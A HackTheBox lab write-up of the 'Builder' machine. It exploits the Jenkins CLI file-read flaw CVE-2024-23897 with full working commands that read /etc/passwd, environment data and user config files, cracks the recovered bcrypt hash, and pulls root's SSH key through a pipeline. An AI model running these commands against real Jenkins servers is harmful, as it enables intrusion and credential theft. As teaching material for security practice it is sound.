HTB: Builder
Builder is a neat box focused on a recent Jenkins vulnerability, CVE-2024-23897. It allows for partial file read and can lead to remote code execution. I’ll show how to exploit the vulnerability, explore methods to get the most of a file possible, find a password hash for the admin user and crack it to get access to Jenkins. From in Jenkins, I’ll find a saved SSH key and show three paths to recover it. First, dumping an encrypted version from the admin panel. Second, using it to SSH into the host and finding a copy there. And third by having the pipeline leak the key back to me.
Box Info
Name | Builder Play on HackTheBox |
---|---|
Release Date | 12 Feb 2024 |
Retire Date | 12 Feb 2024 |
OS | Linux |
Base Points | Medium [30] |
N/A (non-competitive) | |
N/A (non-competitive) | |
Creators |
Recon
nmap
nmap
finds two open TCP ports, SSH (22) and HTTP (8080):
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.10
Starting Nmap 7.80 ( https://nmap.org ) at 2024-02-09 12:55 EST
Nmap scan report for 10.10.11.10
Host is up (0.094s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 6.90 seconds
oxdf@hacky$ nmap -p 22,8080 -sCV 10.10.11.10
Starting Nmap 7.80 ( https://nmap.org ) at 2024-02-09 12:55 EST
Nmap scan report for 10.10.11.10
Host is up (0.093s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Jetty 10.0.18
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(10.0.18)
|_http-title: Dashboard [Jenkins]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.35 seconds
Based on the OpenSSH version, the host is likely running Ubuntu 22.04 jammy.
There’s a robots.txt
file on the webserver on port 8080 disallowing bots to scan any of the site. And the title seems to be a Jenkins server. I’ve seen Jenkins before on HTB. Jeeves released in 2017, and Object was a part of the 2021 HackTheBox Uni CTF. I played with an RCE vulnerability in Jenkins (CVE-2019-1003000) on Jeeves in this 2019 blog post.
Website - TCP 8080
Site
The site is a Jenkins instance:
The people tab shows one user, jennifer:
The build history is empty. The “Credentials” page shows some basic info:
There’s a single credential that is a root SSH private key:
I can’t get access to it.
Tech Stack
The site is clearly Jenkins, which describes itself as:
The leading open source automation server, Jenkins provides hundreds of plugins to support building, deploying and automating any project.
As soon as I visit the page, the first request provides a JSESSIONID
cookie:
HTTP/1.1 200 OK
Date: Fri, 09 Feb 2024 18:21:41 GMT
Connection: close
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store,must-revalidate
X-Hudson-Theme: default
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Set-Cookie: JSESSIONID.680b9dc7=node0593121crjqec957avgei7j7h36.node0; Path=/; HttpOnly
X-Hudson: 1.395
X-Jenkins: 2.441
X-Jenkins-Session: 12cf4fc7
X-Frame-Options: sameorigin
X-Instance-Identity: MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuoLwaR1Kews72rSEsEkyDUFAKfX2Wk1mS06hi9A56Bx34LBdMQK3n6yCy0nJaT/KJcSx5hXA6DA1yNKWevPUO9nmgDZWaKxDhW/3uLvFtW68YnadxFiP7HLnRNulCWkaHgVIW/71MPrR9jOfjQ/BLPjBCBkLAdBsrCVrZ0/A/yj6H8YBGQIDk8hRjsqtMM0EBPzH/TylyC7DmHWtIkZqvLH7PKTycZ54Lcv9i9NVd/cLBZjEyzUua6n28OVsZif9yQ41qPmzwRlhZ7DAKi1wI48T+FatD9gz8v6KtjkftDht3CyT+GLYwUPy7z501y/RoOzldBpY2tgxvNTpIQgoDwIDAQAB
Content-Length: 14972
Server: Jetty(10.0.18)
That makes sense, as Jenkins is a Java application. The server is Jetty, a Java web server.
I’m going to skip the directory brute force given that I know exactly what this application is.
Authenticate Jenkins Access
CVE-2024-23897 Background
CVE-2024-23897 is the reason this box was released by HTB as a non-competitive box to showcase this hot vulnerability. It was first discussed mid-January 2024, with Jenkins making a Security Advisory on 24 January here. The title is “Arbitrary file read vulnerability through the CLI can lead to RCE.
Jenkins has a CLI interface to control it from a scripted / automation / shell environment. In that, a feature was added where a @[filepath]
would be replaced with the contents of the file. This leads to a file read.
The advisory shows five ways this can be leverages into remote coded execution, as well as some other abuses.
File Read
Manual w/ jenkin-cli.jar
The Jenkins CLI documentation shows that you actually get the CLI JAR from the Jenkins instance. I’ll download it:
oxdf@hacky$ wget http://10.10.11.10:8080/jnlpJars/jenkins-cli.jar
--2024-02-09 14:18:41-- http://10.10.11.10:8080/jnlpJars/jenkins-cli.jar
Connecting to 10.10.11.10:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3623400 (3.5M) [application/java-archive]
Saving to: ‘jenkins-cli.jar’
jenkins-cli.jar 100%[====================>] 3.46M 3.34MB/s in 1.0s
2024-02-09 14:18:42 (3.34 MB/s) - ‘jenkins-cli.jar’ saved [3623400/3623400]
On running it, I’ll give it help
and then a non-existent command, and it prints all the commands:
oxdf@hacky$ java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' help 0xdf
add-job-to-view
Adds jobs to view.
build
Builds a job, and optionally waits until its completion.
cancel-quiet-down
Cancel the effect of the "quiet-down" command.
clear-queue
Clears the build queue.
connect-node
Reconnect to a node(s)
console
Retrieves console output of a build.
copy-job
Copies a job.
create-credentials-by-xml
Create Credential by XML
create-credentials-domain-by-xml
Create Credentials Domain by XML
create-job
Creates a new job by reading stdin as a configuration XML file.
create-node
Creates a new node by reading stdin as a XML configuration.
create-view
Creates a new view by reading stdin as a XML configuration.
declarative-linter
Validate a Jenkinsfile containing a Declarative Pipeline
delete-builds
Deletes build record(s).
delete-credentials
Delete a Credential
delete-credentials-domain
Delete a Credentials Domain
delete-job
Deletes job(s).
delete-node
Deletes node(s)
delete-view
Deletes view(s).
disable-job
Disables a job.
disable-plugin
Disable one or more installed plugins.
disconnect-node
Disconnects from a node.
enable-job
Enables a job.
enable-plugin
Enables one or more installed plugins transitively.
get-credentials-as-xml
Get a Credentials as XML (secrets redacted)
get-credentials-domain-as-xml
Get a Credentials Domain as XML
get-job
Dumps the job definition XML to stdout.
get-node
Dumps the node definition XML to stdout.
get-view
Dumps the view definition XML to stdout.
groovy
Executes the specified Groovy script.
groovysh
Runs an interactive groovy shell.
help
Lists all the available commands or a detailed description of single command.
import-credentials-as-xml
Import credentials as XML. The output of "list-credentials-as-xml" can be used as input here as is, the only needed change is to set the actual Secrets which are redacted in the output.
install-plugin
Installs a plugin either from a file, an URL, or from update center.
keep-build
Mark the build to keep the build forever.
list-changes
Dumps the changelog for the specified build(s).
list-credentials
Lists the Credentials in a specific Store
list-credentials-as-xml
Export credentials as XML. The output of this command can be used as input for "import-credentials-as-xml" as is, the only needed change is to set the actual Secrets which are redacted in the output.
list-credentials-context-resolvers
List Credentials Context Resolvers
list-credentials-providers
List Credentials Providers
list-jobs
Lists all jobs in a specific view or item group.
list-plugins
Outputs a list of installed plugins.
mail
Reads stdin and sends that out as an e-mail.
offline-node
Stop using a node for performing builds temporarily, until the next "online-node" command.
online-node
Resume using a node for performing builds, to cancel out the earlier "offline-node" command.
quiet-down
Quiet down Jenkins, in preparation for a restart. Don’t start any builds.
reload-configuration
Discard all the loaded data in memory and reload everything from file system. Useful when you modified config files directly on disk.
reload-job
Reload job(s)
remove-job-from-view
Removes jobs from view.
replay-pipeline
Replay a Pipeline build with edited script taken from standard input
restart
Restart Jenkins.
restart-from-stage
Restart a completed Declarative Pipeline build from a given stage.
safe-restart
Safe Restart Jenkins. Don’t start any builds.
safe-shutdown
Puts Jenkins into the quiet mode, wait for existing builds to be completed, and then shut down Jenkins.
session-id
Outputs the session ID, which changes every time Jenkins restarts.
set-build-description
Sets the description of a build.
set-build-display-name
Sets the displayName of a build.
shutdown
Immediately shuts down Jenkins server.
stop-builds
Stop all running builds for job(s)
update-credentials-by-xml
Update Credentials by XML
update-credentials-domain-by-xml
Update Credentials Domain by XML
update-job
Updates the job definition XML from stdin. The opposite of the get-job command.
update-node
Updates the node definition XML from stdin. The opposite of the get-node command.
update-view
Updates the view definition XML from stdin. The opposite of the get-view command.
version
Outputs the current version.
wait-node-offline
Wait for a node to become offline.
wait-node-online
Wait for a node to become online.
who-am-i
Reports your credential and permissions.
ERROR: No such command 0xdf. Available commands are above.
Those command run as well:
oxdf@hacky$ java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' who-am-i
Authenticated as: anonymous
Authorities:
anonymous
From the advisory, I can try putting in a file reference:
It’s trying to load /etc/passwd
as arguments for the help command. The first line is the command (root
), and the next is an unexpected argument. That’s partial file read for sure. For one line files, this is enough (adding an extra arg, in this case “a”, makes the output much shorter):
oxdf@hacky$ java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' help '@/etc/hostname' a
ERROR: Too many arguments: a
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: 0f52c222a4cc)
The hostname is “0f52c222a4cc”.
Python POCs
There are Python POCs out there on GitHub that will do a similar thing. They don’t really add anything over the JAR file, so I prefer that method. They do work to make similar output:
oxdf@hacky$ python CVE-2024-23897/poc.py http://10.10.11.10:8080/ /etc/passwd
REQ: b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
RESPONSE: b'\x00\x00\x00\x00\x01\x08\n\x00\x00\x00K\x08ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n\x00\x00\x00\x1e\x08java -jar jenkins-cli.jar help\x00\x00\x00\n\x08 [COMMAND]\x00\x00\x00\x01\x08\n\x00\x00\x00N\x08Lists all the available commands or a detailed description of single command.\n\x00\x00\x00J\x08 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)\n\x00\x00\x00\x04\x04\x00\x00\x00\x02'
Getting More Lines
In this video, I explore the vulnerability, walk through exploitation with both the JAR and the Python POC, and show the path to finding a method to leak more lines:
By the end of the video, I’ve got this output:
oxdf@hacky$ cat commands | while read command; do echo "echo -n \"$command: \"; java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' $command '@/etc/passwd' 2>&1 | grep -oP ':\d+:\d+:' | sort -u | wc -l"; done > ipp.sh
oxdf@hacky$ bash ipp.sh
add-job-to-view: 1
build: 1
cancel-quiet-down: 1
clear-queue: 1
connect-node: 19
console: 1
copy-job: 1
create-credentials-by-xml: 1
create-credentials-domain-by-xml: 1
create-job: 1
create-node: 2
create-view: 2
declarative-linter: 1
delete-builds: 1
delete-credentials: 1
delete-credentials-domain: 1
delete-job: 19
delete-node: 19
delete-view: 19
disable-job: 1
disable-plugin: 0
disconnect-node: 19
enable-job: 1
enable-plugin: 0
get-credentials-as-xml: 1
get-credentials-domain-as-xml: 1
get-job: 1
get-node: 1
get-view: 1
groovy: 0
groovysh: 0
help: 2
import-credentials-as-xml: 1
install-plugin: 0
keep-build: 1
list-changes: 1
list-credentials: 1
list-credentials-as-xml: 1
list-credentials-context-resolvers: 1
list-credentials-providers: 1
list-jobs: 2
list-plugins: 2
mail: 1
offline-node: 19
online-node: 19
quiet-down: 1
reload-configuration: 1
reload-job: 19
remove-job-from-view: 1
replay-pipeline: 1
restart: 1
restart-from-stage: 1
safe-restart: 1
safe-shutdown: 1
session-id: 1
set-build-description: 1
set-build-display-name: 1
shutdown: 1
stop-builds: 1
update-credentials-by-xml: 1
update-credentials-domain-by-xml: 1
update-job: 1
update-node: 1
update-view: 1
version: 1
wait-node-offline: 1
wait-node-online: 1
who-am-i: 1
All of the “19” results seem equally good.
Enumeration
Home Directory
I’ll look at the running command to get a feel for what the environment looks like for Jenkins. The command line (/proc/self/cmdline
, cleaned up with spaces added) is:
java -Duser.home=/var/jenkins_home -Djenkins.model.Jenkins.slaveAgentPort=50000 -Dhudson.lifecycle=hudson.lifecycle.ExitLifecycle -jar /usr/share/jenkins/jenkins.war
The environment variables (/proc/self/environ
) are:
HOSTNAME=0f52c222a4cc
JENKINS_UC_EXPERIMENTAL=https://updates.jenkins.io/experimental
JAVA_HOME=/opt/java/openjdk
JENKINS_INCREMENTALS_REPO_MIRROR=https://repo.jenkins-ci.org/incrementals
COPY_REFERENCE_FILE_LOG=/var/jenkins_home/copy_reference_file.log
PWD=/
JENKINS_SLAVE_AGENT_PORT=50000
JENKINS_VERSION=2.441
HOME=/var/jenkins_home
LANG=C.UTF-8
JENKINS_UC=https://updates.jenkins.io
SHLVL=0
JENKINS_HOME=/var/jenkins_home
REF=/usr/share/jenkins/ref
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
I can actually read user.txt
at this point from the jenkins user’s home directory:
oxdf@hacky$ java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' help '@/var/jenkins_home/user.txt' a
ERROR: Too many arguments: a
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: ffcb78dc3a26226b97276f24e26fc272)
Passwords
Jenkins stores the initial password for the admin user at /var/jenkins_home/secrets/initialAdminPassword
. Unfortunately, that returns “No such file”:
oxdf@hacky$ java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' help '@/var/jenkins_home/secrets/initialAdminPassword' a
ERROR: No such file: /var/jenkins_home/secrets/initialAdminPassword
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command
Jenkins stores information about its user accounts in /var/jenkins_home/users/users.xml
. Using reload-node
, I’ll get the lines of that file, albeit a bit scrambed:
oxdf@hacky$ java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' reload-job '@/var/jenkins_home/users/users.xml'
<?xml version='1.1' encoding='UTF-8'?>: No such item ‘<?xml version='1.1' encoding='UTF-8'?>’ exists.
<string>jennifer_12108429903186576833</string>: No such item ‘ <string>jennifer_12108429903186576833</string>’ exists.
<idToDirectoryNameMap class="concurrent-hash-map">: No such item ‘ <idToDirectoryNameMap class="concurrent-hash-map">’ exists.
<entry>: No such item ‘ <entry>’ exists.
<string>jennifer</string>: No such item ‘ <string>jennifer</string>’ exists.
<version>1</version>: No such item ‘ <version>1</version>’ exists.
</hudson.model.UserIdMapper>: No such item ‘</hudson.model.UserIdMapper>’ exists.
</idToDirectoryNameMap>: No such item ‘ </idToDirectoryNameMap>’ exists.
<hudson.model.UserIdMapper>: No such item ‘<hudson.model.UserIdMapper>’ exists.
</entry>: No such item ‘ </entry>’ exists.
ERROR: Error occurred while performing this command, see previous stderr output.
Still, I can see a user “jennifer_12108429903186576833”, which matches the jennifer user on the site above. That is a directory name and in it will be a config.xml
:
oxdf@hacky$ java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' reload-job '@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml'
<hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">: No such item ‘ <hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">’ exists.
<hudson.search.UserSearchProperty>: No such item ‘ <hudson.search.UserSearchProperty>’ exists.
<roles>: No such item ‘ <roles>’ exists.
<jenkins.security.seed.UserSeedProperty>: No such item ‘ <jenkins.security.seed.UserSeedProperty>’ exists.
</tokenStore>: No such item ‘ </tokenStore>’ exists.
</hudson.search.UserSearchProperty>: No such item ‘ </hudson.search.UserSearchProperty>’ exists.
<timeZoneName></timeZoneName>: No such item ‘ <timeZoneName></timeZoneName>’ exists.
<properties>: No such item ‘ <properties>’ exists.
<jenkins.security.LastGrantedAuthoritiesProperty>: No such item ‘ <jenkins.security.LastGrantedAuthoritiesProperty>’ exists.
<flags/>: No such item ‘ <flags/>’ exists.
<hudson.model.MyViewsProperty>: No such item ‘ <hudson.model.MyViewsProperty>’ exists.
</user>: No such item ‘</user>’ exists.
</jenkins.security.ApiTokenProperty>: No such item ‘ </jenkins.security.ApiTokenProperty>’ exists.
<views>: No such item ‘ <views>’ exists.
<string>authenticated</string>: No such item ‘ <string>authenticated</string>’ exists.
<org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.200.vb_9327d658781">: No such item ‘ <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.200.vb_9327d658781">’ exists.
<user>: No such item ‘<user>’ exists.
<name>all</name>: No such item ‘ <name>all</name>’ exists.
<description></description>: No such item ‘ <description></description>’ exists.
<emailAddress>jennifer@builder.htb</emailAddress>: No such item ‘ <emailAddress>jennifer@builder.htb</emailAddress>’ exists.
<collapsed/>: No such item ‘ <collapsed/>’ exists.
</jenkins.security.seed.UserSeedProperty>: No such item ‘ </jenkins.security.seed.UserSeedProperty>’ exists.
</org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>: No such item ‘ </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>’ exists.
</hudson.model.MyViewsProperty>: No such item ‘ </hudson.model.MyViewsProperty>’ exists.
<domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>: No such item ‘ <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>’ exists.
<filterQueue>false</filterQueue>: No such item ‘ <filterQueue>false</filterQueue>’ exists.
<jenkins.security.ApiTokenProperty>: No such item ‘ <jenkins.security.ApiTokenProperty>’ exists.
<primaryViewName></primaryViewName>: No such item ‘ <primaryViewName></primaryViewName>’ exists.
</views>: No such item ‘ </views>’ exists.
</hudson.model.TimeZoneProperty>: No such item ‘ </hudson.model.TimeZoneProperty>’ exists.
<com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1319.v7eb_51b_3a_c97b_">: No such item ‘ <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1319.v7eb_51b_3a_c97b_">’ exists.
</hudson.model.PaneStatusProperties>: No such item ‘ </hudson.model.PaneStatusProperties>’ exists.
</hudson.tasks.Mailer_-UserProperty>: No such item ‘ </hudson.tasks.Mailer_-UserProperty>’ exists.
<tokenList/>: No such item ‘ <tokenList/>’ exists.
<jenkins.console.ConsoleUrlProviderUserProperty/>: No such item ‘ <jenkins.console.ConsoleUrlProviderUserProperty/>’ exists.
</hudson.model.AllView>: No such item ‘ </hudson.model.AllView>’ exists.
<timestamp>1707318554385</timestamp>: No such item ‘ <timestamp>1707318554385</timestamp>’ exists.
<owner class="hudson.model.MyViewsProperty" reference="../../.."/>: No such item ‘ <owner class="hudson.model.MyViewsProperty" reference="../../.."/>’ exists.
</properties>: No such item ‘ </properties>’ exists.
</jenkins.model.experimentalflags.UserExperimentalFlagsProperty>: No such item ‘ </jenkins.model.experimentalflags.UserExperimentalFlagsProperty>’ exists.
</com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>: No such item ‘ </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>’ exists.
<hudson.security.HudsonPrivateSecurityRealm_-Details>: No such item ‘ <hudson.security.HudsonPrivateSecurityRealm_-Details>’ exists.
<insensitiveSearch>true</insensitiveSearch>: No such item ‘ <insensitiveSearch>true</insensitiveSearch>’ exists.
<properties class="hudson.model.View$PropertyList"/>: No such item ‘ <properties class="hudson.model.View$PropertyList"/>’ exists.
<hudson.model.TimeZoneProperty>: No such item ‘ <hudson.model.TimeZoneProperty>’ exists.
<hudson.model.AllView>: No such item ‘ <hudson.model.AllView>’ exists.
</hudson.security.HudsonPrivateSecurityRealm_-Details>: No such item ‘ </hudson.security.HudsonPrivateSecurityRealm_-Details>’ exists.
<providerId>default</providerId>: No such item ‘ <providerId>default</providerId>’ exists.
</roles>: No such item ‘ </roles>’ exists.
</jenkins.security.LastGrantedAuthoritiesProperty>: No such item ‘ </jenkins.security.LastGrantedAuthoritiesProperty>’ exists.
<jenkins.model.experimentalflags.UserExperimentalFlagsProperty>: No such item ‘ <jenkins.model.experimentalflags.UserExperimentalFlagsProperty>’ exists.
<hudson.model.PaneStatusProperties>: No such item ‘ <hudson.model.PaneStatusProperties>’ exists.
<?xml version='1.1' encoding='UTF-8'?>: No such item ‘<?xml version='1.1' encoding='UTF-8'?>’ exists.
<fullName>jennifer</fullName>: No such item ‘ <fullName>jennifer</fullName>’ exists.
<seed>6841d11dc1de101d</seed>: No such item ‘ <seed>6841d11dc1de101d</seed>’ exists.
<id>jennifer</id>: No such item ‘ <id>jennifer</id>’ exists.
<version>10</version>: No such item ‘ <version>10</version>’ exists.
<tokenStore>: No such item ‘ <tokenStore>’ exists.
<filterExecutors>false</filterExecutors>: No such item ‘ <filterExecutors>false</filterExecutors>’ exists.
<io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>: No such item ‘ <io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>’ exists.
<passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: No such item ‘ <passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>’ exists.
ERROR: Error occurred while performing this command, see previous stderr output.
It’s scrambled, but the last line is:
<passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>
Crack Hash
The hash matches multiple Bcrypt formats. Trying to give it to hashcat
returns that I need to give it a format:
$ hashcat jennifer_hash test --user
hashcat (v6.2.6) starting in autodetect mode
...[-snip]...
The following 4 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
25600 | bcrypt(md5($pass)) / bcryptmd5 | Forums, CMS, E-Commerce
25800 | bcrypt(sha1($pass)) / bcryptsha1 | Forums, CMS, E-Commerce
28400 | bcrypt(sha512($pass)) / bcryptsha512 | Forums, CMS, E-Commerce
Please specify the hash-mode with -m [hash-mode].
I’m giving it --user
which treats “#jbcrypt” as the username.
The basic bcrypt format works and cracks very quickly:
$ hashcat -m 3200 jennifer_hash --user /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
...[snip]...
$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a:princess
...[snip]...
I get the password “princess”, and this works to log into Jenkins as jennifer.
Shell as root
Enumeration
Even logged in, I still can’t directly access to the private key for root. There is an update option now:
Going into it, there’s a place there the key would be, but it is “Concealed for Confidentiality”:
This is likely used by pipelines to SSH into the host system as root and deploy things.
Interestingly, it is there in a hidden form field (encrypted):
Under “Plugins” in “Manage Jenkins”, there’s are a few. One of interest is the SSH Agent Plugin and SSH Build Agents Plugin:
Recover SSH Key
Overview
I’ll show two ways to take this access to Jenkins as root to Root access on Builder. Both of them abuse the setup that has saved an SSH key into Jenkins. This is commonly done so that once the build process is complete, it can put artifacts (like a website) into place on the desired server.
flowchart TD;
A[root access\nto Jenkins]-->B(Decrypt SSH Key\nfrom Jenkins Admin);
A-->C(SSH Agent);
B-->D(root SSH access);
C-->E(Read SSH key\nfrom Host);
E-->D;
A-->F(Dump credential\nin pipeline);
F-->D;
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
Via Decrypt Key
I’m able to grab the base64 data from the hidden field and decrypt it very easily using the script console (from the main dashboard, go to “Manage Jenkins” -> Script Console):
Via Pipeline SSH
On the main page, I’ll create a new job:
On the next page, I’ll give it a name and select Pipeline:
On the next screen, I’ll define the pipeline. I can leave most of it as is, and just fill in the “Pipeline script”. The “try sample pipeline” button will offer a starting format.
pipeline {
agent any
stages {
stage('Hello') {
steps {
echo 'Hello World'
}
}
}
}
If I save this and go back to the job page and click “Build Now”, the job runs. In the “Console Output” of the result, it shows the print:
These docs show how to use the SSH Agent plugin. I’ll paste in their POC as the pipeline:
node {
sshagent (credentials: ['deploy-dev']) {
sh 'ssh -o StrictHostKeyChecking=no -l cloudbees 192.168.1.106 uname -a'
}
}
I clearly need to change the IP. I’ll also need to change the “credential”. The docs show that it takes a list of strings. Trying with “root” fails:
Looking at the credential, it seems the ID is actually just “1”:
I’ll update to that:
And it works:
I’ve successfully run commands on the host.
I’ll update the command from uname -a
to find /root
. In this build, it returns a full read of all the files in /root
:
I could read root.txt
, but I’ll grab that SSH private key instead, changing the command to cat /root/.ssh/id_rsa
:
It’s the same key as the previous method.
Via Pipeline Dump Credentials
If the pipeline can use the SSH key to get on to the host system as root, then it has access to the SSH key itself (I’ve already shown it can decrypt it). This post talks about dumping credentials. There’s a good bit in the post about how to get it to print the credential unmasked. With a bunch of attempts and troubleshooting, I end up with:
When I run that, it prints the SSH key.
SSH
Regardless of how I get it, with the recovered key (and permissions set to 600), I can SSH as root into Builder:
oxdf@hacky$ vim ~/keys/builder-root
oxdf@hacky$ chmod 600 ~/keys/builder-root
oxdf@hacky$ ssh -i ~/keys/builder-root root@10.10.11.10
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86_64)
...[snip]...
root@builder:~#
And get root.txt
:
root@builder:~# cat root.txt
a0957a94************************
###